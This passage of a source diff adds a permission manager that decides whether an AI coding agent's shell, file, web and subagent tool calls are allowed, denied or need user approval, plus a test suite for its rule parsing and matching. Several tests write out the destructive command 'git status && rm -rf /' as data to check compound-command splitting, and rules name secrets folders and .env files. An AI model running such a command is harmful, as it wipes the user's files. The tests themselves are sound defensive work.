centralized permission-rule generation (Always Allow). + const toolParams = invocation.params as Record; + const shellCommand = + 'command' in toolParams ? String(toolParams['command']) : undefined; + // Extract file path — tools use 'absolute_path', 'file_path', + // or 'path' (LS / grep / glob). + let invocationFilePath = + typeof toolParams['absolute_path'] === 'string' + ? toolParams['absolute_path'] + : typeof toolParams['file_path'] === 'string' + ? toolParams['file_path'] + : undefined; + if ( + invocationFilePath === undefined && + typeof toolParams['path'] === 'string' + ) { + // LS uses absolute paths; grep/glob may be relative to targetDir. + invocationFilePath = path.isAbsolute(toolParams['path']) + ? toolParams['path'] + : path.resolve(this.config.getTargetDir(), toolParams['path']); + } + let invocationDomain: string | undefined; + if (typeof toolParams['url'] === 'string') { + try { + invocationDomain = new URL(toolParams['url']).hostname; + } catch { + // malformed URL — leave domain undefined + } + } + // Generic specifier for literal matching (Skill name, Task subagent type, etc.) + const literalSpecifier = + typeof toolParams['skill'] === 'string' + ? toolParams['skill'] + : typeof toolParams['subagent_type'] === 'string' + ? toolParams['subagent_type'] + : undefined; + const pmCtx = { + toolName: reqInfo.name, + command: shellCommand, + filePath: invocationFilePath, + domain: invocationDomain, + specifier: literalSpecifier, + }; + + if (pm && defaultPermission !== 'deny') { + if (pm.hasRelevantRules(pmCtx)) { + const pmDecision = pm.evaluate(pmCtx); + if (pmDecision !== 'default') { + finalPermission = pmDecision; + // If PM explicitly forces 'ask', adding allow rules won't help + // because ask has higher priority. Hide "Always allow" options. + if (pmDecision === 'ask') { + pmForcedAsk = true; + } + } + } + } + + // ---- L5: Final decision based on permission + ApprovalMode ---- + const approvalMode = this.config.getApprovalMode(); + const isPlanMode = approvalMode === ApprovalMode.PLAN; + const isExitPlanModeTool = reqInfo.name === 'exit_plan_mode'; - if (!confirmationDetails) { + if (finalPermission === 'allow') { + // Auto-approve: tool is inherently safe (read-only) or PM allows this.setToolCallOutcome( reqInfo.callId, ToolConfirmationOutcome.ProceedAlways, @@ -820,54 +914,89 @@ export class CoreToolScheduler { continue; } - const allowedTools = this.config.getAllowedTools() || []; - const isPlanMode = - this.config.getApprovalMode() === ApprovalMode.PLAN; - const isExitPlanModeTool = reqInfo.name === 'exit_plan_mode'; + if (finalPermission === 'deny') { + // Hard deny: security violation or PM explicit deny + const denyMessage = + defaultPermission === 'deny' + ? `Tool "${reqInfo.name}" is denied: command substitution is not allowed for security reasons.` + : `Tool "${reqInfo.name}" is denied by permission rules.`; + this.setStatusInternal( + reqInfo.callId, + 'error', + createErrorResponse( + reqInfo, + new Error(denyMessage), + ToolErrorType.EXECUTION_DENIED, + ), + ); + continue; + } - // ask_user_question needs the confirmation flow even in plan mode - // so the user can actually answer the questions + // finalPermission === 'ask' (or 'default' from PM → treat as ask) + // apply ApprovalMode overrides. + // ask_user_question always needs confirmation so the user can answer; + // it must bypass both YOLO auto-approve and plan-mode blocking. const isAskUserQuestionTool = - confirmationDetails && - confirmationDetails.type === 'ask_user_question'; - - if (isPlanMode && !isExitPlanModeTool && !isAskUserQuestionTool) { - if (confirmationDetails) { - this.setStatusInternal(reqInfo.callId, 'error', { - callId: reqInfo.callId, - responseParts: convertToFunctionResponse( - reqInfo.name, - reqInfo.callId, - getPlanModeSystemReminder(), - ), - resultDisplay: 'Plan mode blocked a non-read-only tool call.', - error: undefined, - errorType: undefined, - }); - } else { - this.setStatusInternal(reqInfo.callId, 'scheduled'); - } - } else if ( - (this.config.getApprovalMode() === ApprovalMode.YOLO || - doesToolInvocationMatch( - toolCall.tool, - invocation, - allowedTools, - )) && - // Even in YOLO mode, ask_user_question tool requires user confirmation to ensure the user always has a chance to respond to questions - confirmationDetails.type !== 'ask_user_question' - ) { + reqInfo.name === ToolNames.ASK_USER_QUESTION; + + if (approvalMode === ApprovalMode.YOLO && !isAskUserQuestionTool) { this.setToolCallOutcome( reqInfo.callId, ToolConfirmationOutcome.ProceedAlways, ); this.setStatusInternal(reqInfo.callId, 'scheduled'); + } else if ( + isPlanMode && + !isExitPlanModeTool && + !isAskUserQuestionTool + ) { + this.setStatusInternal(reqInfo.callId, 'error', { + callId: reqInfo.callId, + responseParts: convertToFunctionResponse( + reqInfo.name, + reqInfo.callId, + getPlanModeSystemReminder(), + ), + resultDisplay: 'Plan mode blocked a non-read-only tool call.', + error: undefined, + errorType: undefined, + }); } else { + // Get confirmation details from the tool + const confirmationDetails = + await invocation.getConfirmationDetails(signal); + + // ── Centralised rule injection ────────────────────────────────── + // If the tool did not provide its own permissionRules (e.g. Shell + // and WebFetch already do), generate minimum-scope rules from + // the invocation context so that "Always Allow" persists a + // properly scoped rule rather than nothing. + // Only exec/mcp/info types support the permissionRules field. + if ( + (confirmationDetails.type === 'exec' || + confirmationDetails.type === 'mcp' || + confirmationDetails.type === 'info') && + !confirmationDetails.permissionRules + ) { + confirmationDetails.permissionRules = buildPermissionRules(pmCtx); + } + + // AUTO_EDIT mode: auto-approve edit-like and info tools + if ( + approvalMode === ApprovalMode.AUTO_EDIT && + (confirmationDetails.type === 'edit' || + confirmationDetails.type === 'info') + ) { + this.setToolCallOutcome( + reqInfo.callId, + ToolConfirmationOutcome.ProceedAlways, + ); + this.setStatusInternal(reqInfo.callId, 'scheduled'); + continue; + } + /** - * In non-interactive mode where no user will respond to approval prompts, - * and not running as IDE companion or Zed integration, automatically deny approval. - * This is intended to create an explicit denial of the tool call, - * rather than silently waiting for approval and hanging forever. + * In non-interactive mode, automatically deny. */ const shouldAutoDeny = !this.config.isInteractive() && @@ -980,6 +1109,10 @@ export class CoreToolScheduler { const originalOnConfirm = confirmationDetails.onConfirm; const wrappedConfirmationDetails: ToolCallConfirmationDetails = { ...confirmationDetails, + // When PM has an explicit 'ask' rule, 'always allow' would be + // ineffective because ask takes priority over allow. + // Hide the option so users aren't misled. + ...(pmForcedAsk ? { hideAlwaysAllow: true } : {}), onConfirm: ( outcome: ToolConfirmationOutcome, payload?: ToolConfirmationPayload, @@ -1056,7 +1189,43 @@ export class CoreToolScheduler { await originalOnConfirm(outcome, payload); - if (outcome === ToolConfirmationOutcome.ProceedAlways) { + if ( + outcome === ToolConfirmationOutcome.ProceedAlways || + outcome === ToolConfirmationOutcome.ProceedAlwaysProject || + outcome === ToolConfirmationOutcome.ProceedAlwaysUser + ) { + // Persist permission rules for Project/User scope outcomes + if ( + outcome === ToolConfirmationOutcome.ProceedAlwaysProject || + outcome === ToolConfirmationOutcome.ProceedAlwaysUser + ) { + const scope = + outcome === ToolConfirmationOutcome.ProceedAlwaysProject + ? 'project' + : 'user'; + // Read permissionRules from the stored confirmation details first, + // falling back to payload for backward compatibility. + const details = (toolCall as WaitingToolCall | undefined) + ?.confirmationDetails; + const detailsRules = (details as Record | undefined)?.[ + 'permissionRules' + ] as string[] | undefined; + const payloadRules = payload?.permissionRules; + const rules = payloadRules ?? detailsRules ?? []; + const persistFn = this.config.getOnPersistPermissionRule?.(); + const pm = this.config.getPermissionManager?.(); + if (rules.length > 0) { + for (const rule of rules) { + // 1. Persist to disk (settings.json) + if (persistFn) { + await persistFn(scope, 'allow', rule); + } + // 2. Immediately update in-memory PermissionManager so the + // new rule takes effect without restart. + pm?.addPersistentRule(rule, 'allow'); + } + } + } await this.autoApproveCompatiblePendingTools(signal, callId); } @@ -1556,10 +1725,57 @@ export class CoreToolScheduler { for (const pendingTool of pendingTools) { try { - const stillNeedsConfirmation = - await pendingTool.invocation.shouldConfirmExecute(signal); + // Re-run L3→L4 to see if the tool can now be auto-approved + const defaultPermission = + await pendingTool.invocation.getDefaultPermission(); + let finalPermission = defaultPermission; + + // L4: PM override + const pm = this.config.getPermissionManager?.(); + if (pm && defaultPermission !== 'deny') { + const params = pendingTool.invocation.params as Record< + string, + unknown + >; + const shellCommand = + 'command' in params ? String(params['command']) : undefined; + const filePath = + typeof params['absolute_path'] === 'string' + ? params['absolute_path'] + : typeof params['file_path'] === 'string' + ? params['file_path'] + : undefined; + let domain: string | undefined; + if (typeof params['url'] === 'string') { + try { + domain = new URL(params['url']).hostname; + } catch { + // malformed URL + } + } + // Generic specifier for literal matching (Skill name, Task subagent type, etc.) + const literalSpecifier = + typeof params['skill'] === 'string' + ? params['skill'] + : typeof params['subagent_type'] === 'string' + ? params['subagent_type'] + : undefined; + const pmCtx = { + toolName: pendingTool.request.name, + command: shellCommand, + filePath, + domain, + specifier: literalSpecifier, + }; + if (pm.hasRelevantRules(pmCtx)) { + const pmDecision = pm.evaluate(pmCtx); + if (pmDecision !== 'default') { + finalPermission = pmDecision; + } + } + } - if (!stillNeedsConfirmation) { + if (finalPermission === 'allow') { this.setToolCallOutcome( pendingTool.request.callId, ToolConfirmationOutcome.ProceedAlways, diff --git a/packages/core/src/core/turn.ts b/packages/core/src/core/turn.ts index 2037081ff832..d5675414e88c 100644 --- a/packages/core/src/core/turn.ts +++ b/packages/core/src/core/turn.ts @@ -43,10 +43,6 @@ export interface ServerTool { params: Record, signal?: AbortSignal, ): Promise; - shouldConfirmExecute( - params: Record, - abortSignal: AbortSignal, - ): Promise; } export enum GeminiEventType { diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 38aeb5e03904..8ca2014b7dd7 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -12,6 +12,9 @@ export * from './config/config.js'; export { Storage } from './config/storage.js'; +// Permission system +export * from './permissions/index.js'; + // Model configuration export { DEFAULT_QWEN_MODEL, @@ -88,6 +91,8 @@ export * from './tools/shell.js'; export * from './tools/skill.js'; export * from './tools/task.js'; export * from './tools/todoWrite.js'; +export * from './tools/tool-error.js'; +export * from './tools/tool-registry.js'; export * from './tools/web-fetch.js'; export * from './tools/web-search/index.js'; export * from './tools/write-file.js'; diff --git a/packages/core/src/permissions/index.ts b/packages/core/src/permissions/index.ts new file mode 100644 index 000000000000..f03062aa753f --- /dev/null +++ b/packages/core/src/permissions/index.ts @@ -0,0 +1,12 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +export * from './types.js'; +export * from './rule-parser.js'; +export { PermissionManager } from './permission-manager.js'; +export type { PermissionManagerConfig } from './permission-manager.js'; +export { extractShellOperations } from './shell-semantics.js'; +export type { ShellOperation } from './shell-semantics.js'; diff --git a/packages/core/src/permissions/permission-manager.test.ts b/packages/core/src/permissions/permission-manager.test.ts new file mode 100644 index 000000000000..f7a312f1a876 --- /dev/null +++ b/packages/core/src/permissions/permission-manager.test.ts @@ -0,0 +1,1513 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, beforeEach } from 'vitest'; +import os from 'node:os'; +import { + parseRule, + parseRules, + matchesRule, + matchesCommandPattern, + matchesPathPattern, + matchesDomainPattern, + resolveToolName, + resolvePathPattern, + getSpecifierKind, + toolMatchesRuleToolName, + splitCompoundCommand, + buildPermissionRules, + getRuleDisplayName, +} from './rule-parser.js'; +import { PermissionManager } from './permission-manager.js'; +import type { PermissionManagerConfig } from './permission-manager.js'; + +// ─── resolveToolName ───────────────────────────────────────────────────────── + +describe('resolveToolName', () => { + it('resolves canonical names', () => { + expect(resolveToolName('run_shell_command')).toBe('run_shell_command'); + expect(resolveToolName('read_file')).toBe('read_file'); + }); + + it('resolves display-name aliases', () => { + expect(resolveToolName('Shell')).toBe('run_shell_command'); + expect(resolveToolName('ShellTool')).toBe('run_shell_command'); + expect(resolveToolName('Bash')).toBe('run_shell_command'); + expect(resolveToolName('ReadFile')).toBe('read_file'); + expect(resolveToolName('ReadFileTool')).toBe('read_file'); + expect(resolveToolName('EditTool')).toBe('edit'); + expect(resolveToolName('WriteFileTool')).toBe('write_file'); + }); + + it('resolves "Read" and "Edit" meta-categories', () => { + expect(resolveToolName('Read')).toBe('read_file'); + expect(resolveToolName('Edit')).toBe('edit'); + expect(resolveToolName('Write')).toBe('write_file'); + }); + + it('resolves Agent category', () => { + expect(resolveToolName('Agent')).toBe('task'); + }); + + it('returns unknown names unchanged', () => { + expect(resolveToolName('my_mcp_tool')).toBe('my_mcp_tool'); + expect(resolveToolName('mcp__server__tool')).toBe('mcp__server__tool'); + }); +}); + +// ─── getSpecifierKind ──────────────────────────────────────────────────────── + +describe('getSpecifierKind', () => { + it('returns "command" for shell tools', () => { + expect(getSpecifierKind('run_shell_command')).toBe('command'); + }); + + it('returns "path" for file read/edit tools', () => { + expect(getSpecifierKind('read_file')).toBe('path'); + expect(getSpecifierKind('edit')).toBe('path'); + expect(getSpecifierKind('write_file')).toBe('path'); + expect(getSpecifierKind('grep_search')).toBe('path'); + expect(getSpecifierKind('glob')).toBe('path'); + expect(getSpecifierKind('list_directory')).toBe('path'); + }); + + it('returns "domain" for web fetch tools', () => { + expect(getSpecifierKind('web_fetch')).toBe('domain'); + }); + + it('returns "literal" for other tools', () => { + expect(getSpecifierKind('Agent')).toBe('literal'); + expect(getSpecifierKind('task')).toBe('literal'); + expect(getSpecifierKind('mcp__server')).toBe('literal'); + }); +}); + +// ─── toolMatchesRuleToolName ───────────────────────────────────────────────── + +describe('toolMatchesRuleToolName', () => { + it('exact match', () => { + expect(toolMatchesRuleToolName('read_file', 'read_file')).toBe(true); + expect(toolMatchesRuleToolName('edit', 'edit')).toBe(true); + }); + + it('"Read" (read_file) covers grep_search, glob, list_directory', () => { + expect(toolMatchesRuleToolName('read_file', 'grep_search')).toBe(true); + expect(toolMatchesRuleToolName('read_file', 'glob')).toBe(true); + expect(toolMatchesRuleToolName('read_file', 'list_directory')).toBe(true); + }); + + it('"Edit" (edit) covers write_file', () => { + expect(toolMatchesRuleToolName('edit', 'write_file')).toBe(true); + }); + + it('does not cross categories', () => { + expect(toolMatchesRuleToolName('read_file', 'edit')).toBe(false); + expect(toolMatchesRuleToolName('edit', 'read_file')).toBe(false); + expect(toolMatchesRuleToolName('read_file', 'run_shell_command')).toBe( + false, + ); + }); +}); + +// ─── parseRule ─────────────────────────────────────────────────────────────── + +describe('parseRule', () => { + it('parses a simple tool name', () => { + const r = parseRule('ShellTool'); + expect(r.raw).toBe('ShellTool'); + expect(r.toolName).toBe('run_shell_command'); + expect(r.specifier).toBeUndefined(); + expect(r.specifierKind).toBeUndefined(); + }); + + it('parses Bash alias (Claude Code compat)', () => { + const r = parseRule('Bash'); + expect(r.toolName).toBe('run_shell_command'); + }); + + it('parses a shell tool with a specifier', () => { + const r = parseRule('Bash(git *)'); + expect(r.toolName).toBe('run_shell_command'); + expect(r.specifier).toBe('git *'); + expect(r.specifierKind).toBe('command'); + }); + + it('parses Read with path specifier', () => { + const r = parseRule('Read(./secrets/**)'); + expect(r.toolName).toBe('read_file'); + expect(r.specifier).toBe('./secrets/**'); + expect(r.specifierKind).toBe('path'); + }); + + it('parses Edit with path specifier', () => { + const r = parseRule('Edit(/src/**/*.ts)'); + expect(r.toolName).toBe('edit'); + expect(r.specifier).toBe('/src/**/*.ts'); + expect(r.specifierKind).toBe('path'); + }); + + it('parses WebFetch with domain specifier', () => { + const r = parseRule('WebFetch(domain:example.com)'); + expect(r.toolName).toBe('web_fetch'); + expect(r.specifier).toBe('domain:example.com'); + expect(r.specifierKind).toBe('domain'); + }); + + it('parses Agent with literal specifier', () => { + const r = parseRule('Agent(Explore)'); + expect(r.toolName).toBe('task'); + expect(r.specifier).toBe('Explore'); + expect(r.specifierKind).toBe('literal'); + }); + + it('handles unknown tools without specifier', () => { + const r = parseRule('mcp__my_server__my_tool'); + expect(r.toolName).toBe('mcp__my_server__my_tool'); + expect(r.specifier).toBeUndefined(); + }); + + it('handles legacy :* suffix (deprecated)', () => { + const r = parseRule('Bash(git:*)'); + expect(r.toolName).toBe('run_shell_command'); + expect(r.specifier).toBe('git *'); + }); + + it('handles malformed pattern (no closing paren)', () => { + const r = parseRule('Bash(git status'); + expect(r.specifier).toBeUndefined(); + }); +}); + +// ─── parseRules ────────────────────────────────────────────────────────────── + +describe('parseRules', () => { + it('filters empty strings', () => { + const rules = parseRules(['ShellTool', '', ' ', 'ReadFileTool']); + expect(rules).toHaveLength(2); + }); +}); + +// ─── matchesCommandPattern (Shell glob) ────────────────────────────────────── + +describe('matchesCommandPattern', () => { + // Basic prefix matching (no wildcards) + describe('prefix matching without glob', () => { + it('exact match', () => { + expect(matchesCommandPattern('git', 'git')).toBe(true); + }); + + it('prefix + space', () => { + expect(matchesCommandPattern('git', 'git status')).toBe(true); + expect(matchesCommandPattern('git commit', 'git commit -m "test"')).toBe( + true, + ); + }); + + it('does not match as substring', () => { + expect(matchesCommandPattern('git', 'gitcommit')).toBe(false); + }); + }); + + // Wildcard at tail + describe('wildcard at tail', () => { + it('matches any arguments', () => { + expect(matchesCommandPattern('git *', 'git status')).toBe(true); + expect(matchesCommandPattern('git *', 'git commit -m "test"')).toBe(true); + expect(matchesCommandPattern('npm run *', 'npm run build')).toBe(true); + }); + + it('space-star requires word boundary (ls * does not match lsof)', () => { + expect(matchesCommandPattern('ls *', 'ls -la')).toBe(true); + expect(matchesCommandPattern('ls *', 'lsof')).toBe(false); + }); + + it('no-space-star allows prefix matching (ls* matches lsof)', () => { + expect(matchesCommandPattern('ls*', 'ls -la')).toBe(true); + expect(matchesCommandPattern('ls*', 'lsof')).toBe(true); + }); + + it('does not match different command', () => { + expect(matchesCommandPattern('git *', 'echo hello')).toBe(false); + }); + }); + + // Wildcard at head + describe('wildcard at head', () => { + it('matches any command ending with pattern', () => { + expect(matchesCommandPattern('* --version', 'node --version')).toBe(true); + expect(matchesCommandPattern('* --version', 'npm --version')).toBe(true); + expect(matchesCommandPattern('* --help *', 'npm --help install')).toBe( + true, + ); + }); + + it('does not match non-matching suffix', () => { + expect(matchesCommandPattern('* --version', 'node --help')).toBe(false); + }); + }); + + // Wildcard in middle + describe('wildcard in middle', () => { + it('matches middle segments', () => { + expect(matchesCommandPattern('git * main', 'git checkout main')).toBe( + true, + ); + expect(matchesCommandPattern('git * main', 'git merge main')).toBe(true); + }); + + it('does not match different suffix', () => { + expect(matchesCommandPattern('git * main', 'git checkout dev')).toBe( + false, + ); + }); + }); + + // Word boundary rule: space before * matters + describe('word boundary rule (space before *)', () => { + it('Bash(ls *): matches "ls -la" but NOT "lsof"', () => { + expect(matchesCommandPattern('ls *', 'ls -la')).toBe(true); + expect(matchesCommandPattern('ls *', 'ls')).toBe(true); // "ls" alone + expect(matchesCommandPattern('ls *', 'lsof')).toBe(false); + }); + + it('Bash(ls*): matches both "ls -la" and "lsof"', () => { + expect(matchesCommandPattern('ls*', 'ls -la')).toBe(true); + expect(matchesCommandPattern('ls*', 'lsof')).toBe(true); + expect(matchesCommandPattern('ls*', 'ls')).toBe(true); + }); + + it('Bash(npm *): matches "npm run" but NOT "npmx"', () => { + expect(matchesCommandPattern('npm *', 'npm run build')).toBe(true); + expect(matchesCommandPattern('npm *', 'npmx install')).toBe(false); + }); + }); + + // Shell operator awareness + // + // Key insight: operator boundary extraction means we only match against + // the FIRST simple command. So `git *` still matches `git status && rm -rf /` + // because the first command IS `git status` which matches `git *`. + // + // The safety benefit: a pattern like `rm *` would NOT match + // `git status && rm -rf /` because the first command is `git status`. + // matchesCommandPattern operates on simple commands only. + // Compound command splitting is handled by PermissionManager.evaluate(). + // These tests verify that matchesCommandPattern works correctly on + // individual simple commands (the sub-commands after splitting). + describe('simple command matching (no operators)', () => { + it('matches when no operators are present', () => { + expect( + matchesCommandPattern('git *', 'git commit -m "hello world"'), + ).toBe(true); + }); + + it('operators inside quotes are not boundaries for splitCompoundCommand', () => { + // "echo 'a && b'" → the && is inside quotes, not an operator + expect(matchesCommandPattern('echo *', "echo 'a && b'")).toBe(true); + }); + }); + + // Special: lone * matches any command + describe('lone wildcard', () => { + it('* matches any single command', () => { + expect(matchesCommandPattern('*', 'anything here')).toBe(true); + }); + }); + + // Exact command match with specifier + describe('exact command specifier', () => { + it('Bash(npm run build) matches exact command', () => { + expect(matchesCommandPattern('npm run build', 'npm run build')).toBe( + true, + ); + }); + it('Bash(npm run build) also matches with trailing args (prefix)', () => { + expect( + matchesCommandPattern('npm run build', 'npm run build --verbose'), + ).toBe(true); + }); + it('Bash(npm run build) does not match different command', () => { + expect(matchesCommandPattern('npm run build', 'npm run test')).toBe( + false, + ); + }); + }); +}); + +// ─── splitCompoundCommand ──────────────────────────────────────────────────── + +describe('splitCompoundCommand', () => { + it('simple command returns single-element array', () => { + expect(splitCompoundCommand('git status')).toEqual(['git status']); + }); + + it('splits on &&', () => { + expect(splitCompoundCommand('git status && rm -rf /')).toEqual([ + 'git status', + 'rm -rf /', + ]); + }); + + it('splits on ||', () => { + expect(splitCompoundCommand('git push || echo failed')).toEqual([ + 'git push', + 'echo failed', + ]); + }); + + it('splits on ;', () => { + expect(splitCompoundCommand('echo hello; echo world')).toEqual([ + 'echo hello', + 'echo world', + ]); + }); + + it('splits on |', () => { + expect(splitCompoundCommand('git log | grep fix')).toEqual([ + 'git log', + 'grep fix', + ]); + }); + + it('handles three-part compound', () => { + expect(splitCompoundCommand('a && b && c')).toEqual(['a', 'b', 'c']); + }); + + it('handles mixed operators', () => { + expect(splitCompoundCommand('a && b | c; d')).toEqual(['a', 'b', 'c', 'd']); + }); + + it('does not split on operators inside single quotes', () => { + expect(splitCompoundCommand("echo 'a && b'")).toEqual(["echo 'a && b'"]); + }); + + it('does not split on operators inside double quotes', () => { + expect(splitCompoundCommand('echo "a && b"')).toEqual(['echo "a && b"']); + }); + + it('handles escaped characters', () => { + expect(splitCompoundCommand('echo a \\&& b')).toEqual(['echo a \\&& b']); + }); + + it('trims whitespace around sub-commands', () => { + expect(splitCompoundCommand(' git status && rm -rf / ')).toEqual([ + 'git status', + 'rm -rf /', + ]); + }); +}); + +// ─── resolvePathPattern ────────────────────────────────────────────────────── + +describe('resolvePathPattern', () => { + const projectRoot = '/project'; + const cwd = '/project/subdir'; + + it('// prefix → absolute from filesystem root', () => { + expect( + resolvePathPattern('//Users/alice/secrets/**', projectRoot, cwd), + ).toBe('/Users/alice/secrets/**'); + }); + + it('~/ prefix → relative to home directory', () => { + const result = resolvePathPattern('~/Documents/*.pdf', projectRoot, cwd); + expect(result).toContain('Documents/*.pdf'); + // On POSIX systems the home dir starts with '/'; on Windows it may look like + // 'C:/Users/foo'. Either way, verify the result begins with the (normalized) + // home directory. + const normalizedHome = os.homedir().replace(/\\/g, '/'); + expect(result.startsWith(normalizedHome)).toBe(true); + }); + + it('/ prefix → relative to project root (NOT absolute)', () => { + expect(resolvePathPattern('/src/**/*.ts', projectRoot, cwd)).toBe( + '/project/src/**/*.ts', + ); + }); + + it('./ prefix → relative to cwd', () => { + expect(resolvePathPattern('./secrets/**', projectRoot, cwd)).toBe( + '/project/subdir/secrets/**', + ); + }); + + it('no prefix → relative to cwd', () => { + expect(resolvePathPattern('*.env', projectRoot, cwd)).toBe( + '/project/subdir/*.env', + ); + }); + + it('/Users/alice/file is relative to project root, NOT absolute', () => { + // This is a gotcha from the Claude Code docs + expect(resolvePathPattern('/Users/alice/file', projectRoot, cwd)).toBe( + '/project/Users/alice/file', + ); + }); +}); + +// ─── matchesPathPattern ────────────────────────────────────────────────────── + +describe('matchesPathPattern', () => { + const projectRoot = '/project'; + const cwd = '/project'; + + it('matches dotfiles (e.g. .env)', () => { + expect(matchesPathPattern('.env', '/project/.env', projectRoot, cwd)).toBe( + true, + ); + expect(matchesPathPattern('*.env', '/project/.env', projectRoot, cwd)).toBe( + true, + ); + }); + + it('** matches recursively across directories', () => { + expect( + matchesPathPattern( + './secrets/**', + '/project/secrets/deep/nested/file.txt', + projectRoot, + cwd, + ), + ).toBe(true); + }); + + it('* matches single directory only', () => { + expect( + matchesPathPattern( + '/src/*.ts', + '/project/src/index.ts', + projectRoot, + cwd, + ), + ).toBe(true); + expect( + matchesPathPattern( + '/src/*.ts', + '/project/src/nested/index.ts', + projectRoot, + cwd, + ), + ).toBe(false); + }); + + it('/docs/** matches under project root docs', () => { + expect( + matchesPathPattern( + '/docs/**', + '/project/docs/readme.md', + projectRoot, + cwd, + ), + ).toBe(true); + expect( + matchesPathPattern( + '/docs/**', + '/project/src/docs/readme.md', + projectRoot, + cwd, + ), + ).toBe(false); + }); + + it('//tmp/scratch.txt matches absolute path', () => { + expect( + matchesPathPattern( + '//tmp/scratch.txt', + '/tmp/scratch.txt', + projectRoot, + cwd, + ), + ).toBe(true); + }); + + it('does not match unrelated paths', () => { + expect( + matchesPathPattern( + './secrets/**', + '/project/public/index.html', + projectRoot, + cwd, + ), + ).toBe(false); + }); +}); + +// ─── matchesDomainPattern ──────────────────────────────────────────────────── + +describe('matchesDomainPattern', () => { + it('matches exact domain', () => { + expect(matchesDomainPattern('domain:example.com', 'example.com')).toBe( + true, + ); + }); + + it('matches subdomain', () => { + expect(matchesDomainPattern('domain:example.com', 'sub.example.com')).toBe( + true, + ); + expect( + matchesDomainPattern('domain:example.com', 'deep.sub.example.com'), + ).toBe(true); + }); + + it('does not match different domain', () => { + expect(matchesDomainPattern('domain:example.com', 'notexample.com')).toBe( + false, + ); + }); + + it('is case-insensitive', () => { + expect(matchesDomainPattern('domain:Example.COM', 'example.com')).toBe( + true, + ); + }); + + it('handles missing prefix', () => { + expect(matchesDomainPattern('example.com', 'example.com')).toBe(true); + }); +}); + +// ─── matchesRule (unified) ─────────────────────────────────────────────────── + +describe('matchesRule', () => { + // Basic tool name matching + it('simple tool-name rule matches any invocation', () => { + const rule = parseRule('ShellTool'); + expect(matchesRule(rule, 'run_shell_command')).toBe(true); + expect(matchesRule(rule, 'run_shell_command', 'git status')).toBe(true); + }); + + it('does not match a different tool', () => { + const rule = parseRule('ShellTool'); + expect(matchesRule(rule, 'read_file')).toBe(false); + }); + + // Shell command specifier + it('specifier rule requires a command for shell tools', () => { + const rule = parseRule('Bash(git *)'); + expect(matchesRule(rule, 'run_shell_command')).toBe(false); // no command + expect(matchesRule(rule, 'run_shell_command', 'git status')).toBe(true); + expect(matchesRule(rule, 'run_shell_command', 'echo hello')).toBe(false); + }); + + it('matchesRule checks individual simple commands (compound splitting is at PM level)', () => { + const rule = parseRule('Bash(git *)'); + // matchesRule receives a simple command (already split by PM) + expect(matchesRule(rule, 'run_shell_command', 'git status')).toBe(true); + expect(matchesRule(rule, 'run_shell_command', 'rm -rf /')).toBe(false); + }); + + // Meta-category matching: Read + it('Read rule matches grep_search, glob, list_directory', () => { + const rule = parseRule('Read'); + expect(matchesRule(rule, 'read_file')).toBe(true); + expect(matchesRule(rule, 'grep_search')).toBe(true); + expect(matchesRule(rule, 'glob')).toBe(true); + expect(matchesRule(rule, 'list_directory')).toBe(true); + expect(matchesRule(rule, 'edit')).toBe(false); // not a read tool + }); + + // Meta-category matching: Edit + it('Edit rule matches edit and write_file', () => { + const rule = parseRule('Edit'); + expect(matchesRule(rule, 'edit')).toBe(true); + expect(matchesRule(rule, 'write_file')).toBe(true); + expect(matchesRule(rule, 'read_file')).toBe(false); // not an edit tool + }); + + // File path matching + it('Read with path specifier requires filePath', () => { + const rule = parseRule('Read(.env)'); + const pathCtx = { projectRoot: '/project', cwd: '/project' }; + // No filePath → no match + expect(matchesRule(rule, 'read_file')).toBe(false); + // With filePath + expect( + matchesRule( + rule, + 'read_file', + undefined, + '/project/.env', + undefined, + pathCtx, + ), + ).toBe(true); + expect( + matchesRule( + rule, + 'read_file', + undefined, + '/project/other.txt', + undefined, + pathCtx, + ), + ).toBe(false); + }); + + it('Edit path specifier matches write_file too', () => { + const rule = parseRule('Edit(/src/**/*.ts)'); + const pathCtx = { projectRoot: '/project', cwd: '/project' }; + expect( + matchesRule( + rule, + 'write_file', + undefined, + '/project/src/index.ts', + undefined, + pathCtx, + ), + ).toBe(true); + expect( + matchesRule( + rule, + 'write_file', + undefined, + '/project/docs/readme.md', + undefined, + pathCtx, + ), + ).toBe(false); + }); + + // WebFetch domain matching + it('WebFetch domain specifier', () => { + const rule = parseRule('WebFetch(domain:example.com)'); + expect( + matchesRule(rule, 'web_fetch', undefined, undefined, 'example.com'), + ).toBe(true); + expect( + matchesRule(rule, 'web_fetch', undefined, undefined, 'sub.example.com'), + ).toBe(true); + expect( + matchesRule(rule, 'web_fetch', undefined, undefined, 'other.com'), + ).toBe(false); + // No domain → no match + expect(matchesRule(rule, 'web_fetch')).toBe(false); + }); + + // Agent literal matching + it('Agent literal specifier', () => { + const rule = parseRule('Agent(Explore)'); + // Agent is an alias for 'task'; specifier matches via the specifier field + expect( + matchesRule( + rule, + 'task', + undefined, + undefined, + undefined, + undefined, + 'Explore', + ), + ).toBe(true); + expect( + matchesRule( + rule, + 'task', + undefined, + undefined, + undefined, + undefined, + 'Plan', + ), + ).toBe(false); + expect(matchesRule(rule, 'task')).toBe(false); // no specifier + }); + + // MCP tool matching + it('MCP tool exact match', () => { + const rule = parseRule('mcp__puppeteer__puppeteer_navigate'); + expect(matchesRule(rule, 'mcp__puppeteer__puppeteer_navigate')).toBe(true); + expect(matchesRule(rule, 'mcp__puppeteer__puppeteer_click')).toBe(false); + }); + + it('MCP server-level match (2-part pattern)', () => { + const rule = parseRule('mcp__puppeteer'); + expect(matchesRule(rule, 'mcp__puppeteer__puppeteer_navigate')).toBe(true); + expect(matchesRule(rule, 'mcp__puppeteer__puppeteer_click')).toBe(true); + expect(matchesRule(rule, 'mcp__other__tool')).toBe(false); + }); + + it('MCP wildcard match', () => { + const rule = parseRule('mcp__puppeteer__*'); + expect(matchesRule(rule, 'mcp__puppeteer__puppeteer_navigate')).toBe(true); + expect(matchesRule(rule, 'mcp__other__tool')).toBe(false); + }); + + it('MCP intra-segment wildcard match (e.g. mcp__chrome__use_*)', () => { + const rule = parseRule('mcp__chrome__use_*'); + expect(matchesRule(rule, 'mcp__chrome__use_browser')).toBe(true); + expect(matchesRule(rule, 'mcp__chrome__use_context')).toBe(true); + 